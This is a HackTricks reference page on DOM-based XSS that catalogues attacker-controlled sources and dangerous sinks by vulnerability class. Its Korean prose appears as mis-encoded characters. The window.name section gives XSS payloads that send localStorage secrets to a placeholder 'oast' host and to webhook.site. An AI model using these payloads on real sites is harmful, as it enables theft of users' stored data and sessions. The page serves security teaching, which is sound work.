DOM XSS
Tip
AWS ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:HackTricks Training GCP Red Team Expert (GRTE)
Azure ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks μ§μνκΈ°
- ꡬλ κ³ν νμΈνκΈ°!
- **π¬ λμ€μ½λ κ·Έλ£Ή λλ ν λ κ·Έλ¨ κ·Έλ£Ήμ μ°Έμ¬νκ±°λ νΈμν° π¦ @hacktricks_liveλ₯Ό νλ‘μ°νμΈμ.
- HackTricks λ° HackTricks Cloud κΉνλΈ λ¦¬ν¬μ§ν 리μ PRμ μ μΆνμ¬ ν΄νΉ νΈλ¦μ 곡μ νμΈμ.
DOM μ·¨μ½μ
DOM μ·¨μ½μ μ 곡격μκ° μ μ΄νλ sources(μ: location.search, document.referrer, document.cookie)μμ λμ¨ λ°μ΄ν°κ° μμ νμ§ μκ² sinksλ‘ μ λ¬λ λ λ°μν©λλ€. sinksλ μ
μ± λ°μ΄ν°λ₯Ό λ°μΌλ©΄ μ ν΄ν λ΄μ©μ μ€ννκ±°λ λ λλ§ν μ μλ ν¨μλ κ°μ²΄(μ: eval(), document.body.innerHTML)μ
λλ€.
- Sourcesλ 곡격μκ° μ‘°μν μ μλ μ λ ₯κ°λ€λ‘, URLs, cookies, μΉ λ©μμ§ λ±μ ν¬ν¨ν©λλ€.
- Sinksλ μ μ± λ°μ΄ν°κ° μ€ν¬λ¦½νΈ μ€νκ³Ό κ°μ λΆμμ©μ μΌμΌν¬ μ μλ μ μ¬μ μΌλ‘ μνν μλν¬μΈνΈμ λλ€.
μ΄ μνμ sourceμμ sinkλ‘ λ°μ΄ν°κ° μ μ ν κ²μ¦μ΄λ μ ν μμ΄ νλ₯Ό λ λ°μνλ©°, XSSμ κ°μ 곡격μ κ°λ₯νκ² ν©λλ€.
Tip
λ μ΅μ μ sourcesμ sinks λͺ©λ‘μ λ€μμμ νμΈν μ μμ΅λλ€: https://github.com/wisec/domxsswiki/wiki
μΌλ°μ μΈ sources:
document.URL
document.documentURI
document.URLUnencoded
document.baseURI
location
document.cookie
document.referrer
window.name
history.pushState
history.replaceState
localStorage
sessionStorage
IndexedDB(mozIndexedDB, webkitIndexedDB, msIndexedDB)
Database
μΌλ°μ μΈ Sinks:
| Open Redirect | Javascript Injection | DOM-data manipulation | jQuery |
|---|---|---|---|
location | eval() | scriptElement.src | add() |
location.host | Function() constructor | scriptElement.text | after() |
location.hostname | setTimeout() | scriptElement.textContent | append() |
location.href | setInterval() | scriptElement.innerText | animate() |
location.pathname | setImmediate() | someDOMElement.setAttribute() | insertAfter() |
location.search | execCommand() | someDOMElement.search | insertBefore() |
location.protocol | execScript() | someDOMElement.text | before() |
location.assign() | msSetImmediate() | someDOMElement.textContent | html() |
location.replace() | range.createContextualFragment() | someDOMElement.innerText | prepend() |
open() | crypto.generateCRMFRequest() | someDOMElement.outerText | replaceAll() |
domElem.srcdoc | ``Local file-path manipulation | someDOMElement.value | replaceWith() |
XMLHttpRequest.open() | FileReader.readAsArrayBuffer() | someDOMElement.name | wrap() |
XMLHttpRequest.send() | FileReader.readAsBinaryString() | someDOMElement.target | wrapInner() |
jQuery.ajax() | FileReader.readAsDataURL() | someDOMElement.method | wrapAll() |
$.ajax() | FileReader.readAsText() | someDOMElement.type | has() |
| ``Ajax request manipulation | FileReader.readAsFile() | someDOMElement.backgroundImage | constructor() |
XMLHttpRequest.setRequestHeader() | FileReader.root.getFile() | someDOMElement.cssText | init() |
XMLHttpRequest.open() | FileReader.root.getFile() | someDOMElement.codebase | index() |
XMLHttpRequest.send() | Link manipulation | someDOMElement.innerHTML | jQuery.parseHTML() |
jQuery.globalEval() | someDOMElement.href | someDOMElement.outerHTML | $.parseHTML() |
$.globalEval() | someDOMElement.src | someDOMElement.insertAdjacentHTML | Client-side JSON injection |
| ``HTML5-storage manipulation | someDOMElement.action | someDOMElement.onevent | JSON.parse() |
sessionStorage.setItem() | XPath injection | document.write() | jQuery.parseJSON() |
localStorage.setItem() | document.evaluate() | document.writeln() | $.parseJSON() |
**[**`Denial of Service`**](dom-xss.md#denial-of-service)** | someDOMElement.evaluate() | document.title | ``Cookie manipulation |
requestFileSystem() | ``Document-domain manipulation | document.implementation.createHTMLDocument() | document.cookie |
RegExp() | document.domain | history.pushState() | WebSocket-URL poisoning |
| Client-Side SQl injection | Web-message manipulation | history.replaceState() | WebSocket |
executeSql() | postMessage() | `` | `` |
The innerHTML sinkμ νλ λΈλΌμ°μ μμ script μμλ₯Ό νμ©νμ§ μμΌλ©°, svg onload μ΄λ²€νΈλ μλνμ§ μμ΅λλ€. λ°λΌμ imgλ iframe κ°μ λ체 μμλ₯Ό μ¬μ©ν΄μΌ ν©λλ€.
μ΄ μ νμ XSSλ μλ§λ μ°ΎκΈ° κ°μ₯ μ΄λ €μ΄(hardest to find) μ νμ λλ€. μ½λ λ΄λΆμ JSλ₯Ό λ€μ¬λ€λ³΄κ³ , μ¬λ¬λΆμ΄ μ μ΄νλ κ°(value)μ κ°λ μ΄λ€ κ°μ²΄λ₯Ό μ¬μ©(using) νκ³ μλμ§ νμΈν λ€μ, κ·Έκ²μ μ μ©ν΄ μμμ JSλ₯Ό μ€νν μ μλ λ°©λ²μ΄ μλμ§ νκ°ν΄μΌ ν©λλ€.
μ°Ύμλ΄κΈ° μν λꡬ
- https://github.com/mozilla/eslint-plugin-no-unsanitized
- μ μ¬μ sinkμ λλ¬νλ λͺ¨λ λ°μ΄ν°λ₯Ό κ²μ¬νλ λΈλΌμ°μ νμ₯: https://github.com/kevin-mizu/domloggerpp
μμ
Open Redirect
From: https://portswigger.net/web-security/dom-based/open-redirection
DOMμμμ Open redirect μ·¨μ½μ μ μ€ν¬λ¦½νΈκ° 곡격μκ° μ μ΄ν μ μλ λ°μ΄ν°λ₯Ό λ€λ₯Έ λλ©μΈμΌλ‘μ μ΄λμ μμν μ μλ sinkμ κΈ°λ‘ν λ λ°μν©λλ€.
리λλ μ
μ΄ λ°μνλ URLμ μμ λΆλΆμ μ μ΄ν μ μλ€λ©΄, javascript:alert(1) κ°μ μμμ μ½λλ₯Ό μ€ννλ κ²μ΄ κ°λ₯νλ€λ μ μ μ΄ν΄νλ κ²μ΄ μ€μν©λλ€.
Sinks:
location
location.host
location.hostname
location.href
location.pathname
location.search
location.protocol
location.assign()
location.replace()
open()
domElem.srcdoc
XMLHttpRequest.open()
XMLHttpRequest.send()
jQuery.ajax()
$.ajax()
Cookie manipulation
From: https://portswigger.net/web-security/dom-based/cookie-manipulation
DOM-based cookie-manipulation vulnerabilitiesλ μ€ν¬λ¦½νΈκ° 곡격μκ° μ μ΄ν μ μλ λ°μ΄ν°λ₯Ό cookieμ κ°μ ν¬ν¨μν¬ λ λ°μν©λλ€. μ΄ μ·¨μ½μ μ μ¬μ΄νΈ λ΄μμ cookieκ° μ¬μ©λλ κ²½μ° μΉνμ΄μ§μ μκΈ°μΉ μμ λμμ μ΄λν μ μμ΅λλ€. λν cookieκ° μ¬μ©μ μΈμ μ μΆμ νλ λ° κ΄μ¬νλ€λ©΄ session fixation 곡격μ μννλ λ° μ μ©λ μ μμ΅λλ€. The primary sink associated with this vulnerability is:
Sinks:
document.cookie
JavaScript Injection
From: https://portswigger.net/web-security/dom-based/javascript-injection
DOM-based JavaScript injection μ·¨μ½μ μ 곡격μκ° μ μ΄ν μ μλ λ°μ΄ν°λ₯Ό μ€ν¬λ¦½νΈκ° JavaScript μ½λλ‘ μ€νν λ μμ±λ©λλ€.
Sinks:
eval()
Function() constructor
setTimeout()
setInterval()
setImmediate()
execCommand()
execScript()
msSetImmediate()
range.createContextualFragment()
crypto.generateCRMFRequest()
Document-domain manipulation
μΆμ²: https://portswigger.net/web-security/dom-based/document-domain-manipulation
Document-domain manipulation vulnerabilities λ μ€ν¬λ¦½νΈκ° 곡격μκ° μ μ΄ν μ μλ λ°μ΄ν°λ₯Ό μ¬μ©νμ¬ document.domain μμ±μ μ€μ ν λ λ°μν©λλ€.
document.domain μμ±μ λΈλΌμ°μ κ° same-origin policyλ₯Ό μ μ©νλ λ° μμ΄ ν΅μ¬ μν μ ν©λλ€. μλ‘ λ€λ₯Έ μΆμ²μ λ νμ΄μ§κ° document.domainμ κ°μ κ°μΌλ‘ μ€μ νλ©΄ μ ν μμ΄ μνΈμμ©ν μ μμ΅λλ€. λΈλΌμ°μ λ document.domainμ ν λΉν μ μλ κ°μ λν΄ νΉμ μ νμ λμ΄ μ€μ νμ΄μ§ μΆμ²μ μμ ν 무κ΄ν κ°μ ν λΉνλ κ²μ λ°©μ§νμ§λ§, μμΈκ° μ‘΄μ¬ν©λλ€. μΌλ°μ μΌλ‘ λΈλΌμ°μ λ νμ λλ©μΈ λλ μμ λλ©μΈμ μ¬μ©μ νμ©ν©λλ€.
Sinks:
document.domain
WebSocket-URL poisoning
From: https://portswigger.net/web-security/dom-based/websocket-url-poisoning
WebSocket-URL poisoningμ μ€ν¬λ¦½νΈκ° WebSocket μ°κ²°μ λμ URLλ‘ μ μ΄ κ°λ₯ν λ°μ΄ν°λ₯Ό μ¬μ©νλ κ²½μ°μ λ°μν©λλ€.
Sinks:
WebSocket constructorλ WebSocket-URL poisoning μ·¨μ½μ μ μ λ°ν μ μμ΅λλ€.
Link manipulation
From: https://portswigger.net/web-security/dom-based/link-manipulation
DOM-based link-manipulation vulnerabilitiesλ μ€ν¬λ¦½νΈκ° νμ¬ νμ΄μ§ λ΄μ λ€λΉκ²μ΄μ λμ(μ: ν΄λ¦ κ°λ₯ν λ§ν¬λ νΌμ μ μΆ URL)μ 곡격μκ° μ μ΄ν μ μλ λ°μ΄ν°λ₯Ό μμ±ν λ λ°μν©λλ€.
Sinks:
someDOMElement.href
someDOMElement.src
someDOMElement.action
Ajax request manipulation
μΆμ²: https://portswigger.net/web-security/dom-based/ajax-request-header-manipulation
Ajax request manipulation vulnerabilities μ μ€ν¬λ¦½νΈκ° XmlHttpRequest κ°μ²΄λ₯Ό μ¬μ©ν΄ λ°νλ Ajax μμ²μ attacker-controllable data into an Ajax request λ₯Ό μμ±ν λ λ°μν©λλ€.
Sinks:
XMLHttpRequest.setRequestHeader()
XMLHttpRequest.open()
XMLHttpRequest.send()
jQuery.globalEval()
$.globalEval()
Local file-path manipulation
From: https://portswigger.net/web-security/dom-based/local-file-path-manipulation
Local file-path manipulation vulnerabilitiesλ μ€ν¬λ¦½νΈκ° νμΌ μ²λ¦¬ APIμ filename λ§€κ°λ³μλ‘ κ³΅κ²©μκ° μ μ΄ν μ μλ λ°μ΄ν°λ₯Ό μ λ¬ν λ λ°μν©λλ€. μ΄ μ·¨μ½μ μ 곡격μκ° URLμ ꡬμ±νμ¬ λ€λ₯Έ μ¬μ©μκ° λ°©λ¬Έν κ²½μ° μ¬μ©μμ λΈλΌμ°μ κ° μμμ λ‘컬 νμΌμ μ΄κ±°λ μ°κ² λ§λ€ μ μμ΅λλ€.
Sinks:
FileReader.readAsArrayBuffer()
FileReader.readAsBinaryString()
FileReader.readAsDataURL()
FileReader.readAsText()
FileReader.readAsFile()
FileReader.root.getFile()
FileReader.root.getFile()
Client-Side SQl injection
From: https://portswigger.net/web-security/dom-based/client-side-sql-injection
Client-side SQL-injection vulnerabilitiesλ μ€ν¬λ¦½νΈκ° attacker-controllable data into a client-side SQL query in an unsafe wayλ₯Ό ν¬ν¨ν λ λ°μν©λλ€.
Sinks:
executeSql()
HTML5-storage manipulation
μΆμ²: https://portswigger.net/web-security/dom-based/html5-storage-manipulation
HTML5-storage manipulation vulnerabilitiesλ μ€ν¬λ¦½νΈκ° μΉ λΈλΌμ°μ μ HTML5 μ μ₯μμ 곡격μκ° μ μ΄ν μ μλ λ°μ΄ν°λ₯Ό μ μ₯ν λ λ°μν©λλ€ (localStorage λλ sessionStorage). μ΄ λμ μμ²΄κ° λ³Έμ§μ μΌλ‘ 보μ μ·¨μ½μ μ μλμ§λ§, μ ν리μΌμ΄μ
μ΄ μ΄νμ μ μ₯λ λ°μ΄ν°λ₯Ό μ½μ΄ μμ νμ§ μκ² μ²λ¦¬νλ©΄ λ¬Έμ κ° λ©λλ€. μ΄λ‘ μΈν΄ 곡격μλ μ μ₯ λ©μ»€λμ¦μ μ΄μ©ν΄ λ€λ₯Έ DOM-based 곡격μ μνν μ μμΌλ©°, μλ₯Ό λ€μ΄ cross-site scripting λ° JavaScript injection λ±μ΄ μμ΅λλ€.
Sinks:
sessionStorage.setItem()
localStorage.setItem()
XPath injection
μΆμ²: https://portswigger.net/web-security/dom-based/client-side-xpath-injection
DOM-based XPath-injection vulnerabilitiesλ scriptκ° attacker-controllable dataλ₯Ό XPath queryμ ν¬ν¨ν λ λ°μν©λλ€.
Sinks:
document.evaluate()
someDOMElement.evaluate()
Client-side JSON injection
From: https://portswigger.net/web-security/dom-based/client-side-json-injection
DOM-based JSON-injection vulnerabilitiesλ μ€ν¬λ¦½νΈκ° attacker-controllable dataλ₯Ό JSON λ°μ΄ν° κ΅¬μ‘°λ‘ νμ±λλ λ¬Έμμ΄μ ν¬ν¨μν€κ³ κ·Έ ν μ ν리μΌμ΄μ μμ μ²λ¦¬ν λ λ°μν©λλ€.
Sinks:
JSON.parse()
jQuery.parseJSON()
$.parseJSON()
Web-message manipulation
From: https://portswigger.net/web-security/dom-based/web-message-manipulation
Web-message vulnerabilities λ μ€ν¬λ¦½νΈκ° λΈλΌμ°μ λ΄μ λ€λ₯Έ λ¬Έμλ‘ κ³΅κ²©μκ° μ μ΄ν μ μλ λ°μ΄ν°λ₯Ό μΉ λ©μμ§λ‘ μ μ‘ν λ λ°μν©λλ€. μ·¨μ½ν Web-message manipulationμ μμλ PortSwiggerβs Web Security Academyμμ νμΈν μ μμ΅λλ€.
Sinks:
μΉ λ©μμ§λ₯Ό 보λ΄λ postMessage() λ©μλλ, λ©μμ§λ₯Ό μμ νλ μ΄λ²€νΈ 리μ€λκ° μμ λ°μ΄ν°λ₯Ό μμ νμ§ μκ² μ²λ¦¬ν κ²½μ° μ·¨μ½μ μ μ΄λν μ μμ΅λλ€.
DOM-data manipulation
From: https://portswigger.net/web-security/dom-based/dom-data-manipulation
DOM-data manipulation vulnerabilities λ μ€ν¬λ¦½νΈκ° DOM λ΄μ νλμ 곡격μκ° μ μ΄ν μ μλ λ°μ΄ν°λ₯Ό κΈ°λ‘νκ³ , κ·Έ νλκ° νλ©΄μ 보μ΄λ UIλ ν΄λΌμ΄μΈνΈ μΈ‘ λ‘μ§μμ μ¬μ©λ λ λ°μν©λλ€. 곡격μλ μ΄ μ·¨μ½μ μ μ΄μ©ν΄ νΉμ URLμ ꡬμ±ν μ μμΌλ©°, λ€λ₯Έ μ¬μ©μκ° ν΄λΉ URLμ λ°©λ¬Ένλ©΄ ν΄λΌμ΄μΈνΈ μΈ‘ UIμ μΈνμ΄λ λμμ΄ λ³κ²½λ μ μμ΅λλ€.
Sinks:
scriptElement.src
scriptElement.text
scriptElement.textContent
scriptElement.innerText
someDOMElement.setAttribute()
someDOMElement.search
someDOMElement.text
someDOMElement.textContent
someDOMElement.innerText
someDOMElement.outerText
someDOMElement.value
someDOMElement.name
someDOMElement.target
someDOMElement.method
someDOMElement.type
someDOMElement.backgroundImage
someDOMElement.cssText
someDOMElement.codebase
document.title
document.implementation.createHTMLDocument()
history.pushState()
history.replaceState()
Denial of Service
From: https://portswigger.net/web-security/dom-based/denial-of-service
DOM-based denial-of-service vulnerabilitiesλ μ€ν¬λ¦½νΈκ° 곡격μκ° μ μ΄ν μ μλ λ°μ΄ν°λ₯Ό λ¬Έμ λ₯Ό μΌμΌν€λ νλ«νΌ APIμ μμ νμ§ μκ² μ λ¬ν λ λ°μν©λλ€. μ¬κΈ°μλ νΈμΆλ κ²½μ° μ¬μ©μμ μ»΄ν¨ν°κ° κ³Όλν CPU λλ λμ€ν¬ 곡κ°μ μλΉνκ² λ§λ€ μ μλ APIκ° ν¬ν¨λ©λλ€. μ΄λ¬ν μ·¨μ½μ μ localStorageμ λ°μ΄ν°λ₯Ό μ μ₯νλ €λ μλλ₯Ό λΈλΌμ°μ κ° κ±°λΆνκ±°λ λ°μ μ€ν¬λ¦½νΈλ₯Ό μ’
λ£νλ λ± μΉμ¬μ΄νΈ κΈ°λ₯μ μ ννλ μ¬κ°ν λΆμμ©μ μ΄λν μ μμ΅λλ€.
Sinks:
requestFileSystem()
RegExp()
Dom Clobbering
μ묡μ μ μ & window.name μ
μ©
μ μΈ(var/let/const) μμ΄ nameλ₯Ό μ°Έμ‘°νλ©΄ window.nameμΌλ‘ ν΄μλ©λλ€. window.nameμ κ΅μ°¨ μΆμ² λ΄λΉκ²μ΄μ
κ°μ μ§μλκΈ° λλ¬Έμ, 곡격μλ λΈλΌμ°μ§ 컨ν
μ€νΈ μ΄λ¦μ HTML/JSλ‘ λ―Έλ¦¬ μ±μ λκ³ μ΄ν νΌν΄μ μ½λκ° μ΄λ₯Ό μ λ’°λ λ°μ΄ν°λ‘ λ λλ§νκ² ν μ μμ΅λλ€:
- μ μ΄νλ μ΄λ¦ μλ 컨ν μ€νΈμμ λμμ μ΄κ±°λ μ΄λνμΈμ:
<iframe name="<img src=x onerror=fetch('https://oast/?f='+btoa(localStorage.flag))>" src="https://target/page"></iframe>
- λλ μ κ΅νκ² μ‘°μλ target nameμΌλ‘
window.openμ μ¬μ¬μ©:
window.open('https://target/page', "<svg/onload=alert(document.domain)>")
μ ν리μΌμ΄μ
μ΄ μ΄νμ element.innerHTML = name (or similar sink)μ sanitization μμ΄ μ€ννλ©΄, 곡격μκ° μ μ΄νλ window.name λ¬Έμμ΄μ΄ λμ μ€λ¦¬μ§(target origin)μμ μ€νλμ΄ DOM XSS λ° same-origin storageμ μ κ·Όν μ μκ² λ©λλ€.
κ΄λ¦¬μ/μλν νλ¦: μ¬μ μ±μμ§ μ μ₯μ & javascript: λ€λΉκ²μ΄μ
Automation bots (μ: Playwright)λ μ’
μ’
λ¨Όμ λ΄λΆ νμ΄μ§λ₯Ό λ°©λ¬Έν΄ localStorage/cookiesμ λΉλ°μ μ€μ ν λ€ μ¬μ©μ μ 곡 URLλ‘ μ΄λν©λλ€. ν΄λΉ νλ¦μμ λ°μνλ λͺ¨λ DOM XSS primitive(μ: window.name abuse ν¬ν¨)λ μ¬μ μ±μμ§ λΉλ°μ exfiltrateν μ μμ΅λλ€:
fetch('https://webhook.site/<id>?flag=' + encodeURIComponent(localStorage.getItem('flag')))
λ΄μ΄ μ€ν΄μ μ ννμ§ μμΌλ©΄, javascript: URL (javascript:fetch(...))μ μ 곡νμ λ μ λ€λΉκ²μ΄μ
μμ΄ νμ¬ originμμ μ€νλμ΄ storage κ°μ μ§μ leakν©λλ€.
μ°Έκ³ μλ£
Tip
AWS ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:HackTricks Training GCP Red Team Expert (GRTE)
Azure ν΄νΉ λ°°μ°κΈ° λ° μ°μ΅νκΈ°:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks μ§μνκΈ°
- ꡬλ κ³ν νμΈνκΈ°!
- **π¬ λμ€μ½λ κ·Έλ£Ή λλ ν λ κ·Έλ¨ κ·Έλ£Ήμ μ°Έμ¬νκ±°λ νΈμν° π¦ @hacktricks_liveλ₯Ό νλ‘μ°νμΈμ.
- HackTricks λ° HackTricks Cloud κΉνλΈ λ¦¬ν¬μ§ν 리μ PRμ μ μΆνμ¬ ν΄νΉ νΈλ¦μ 곡μ νμΈμ.


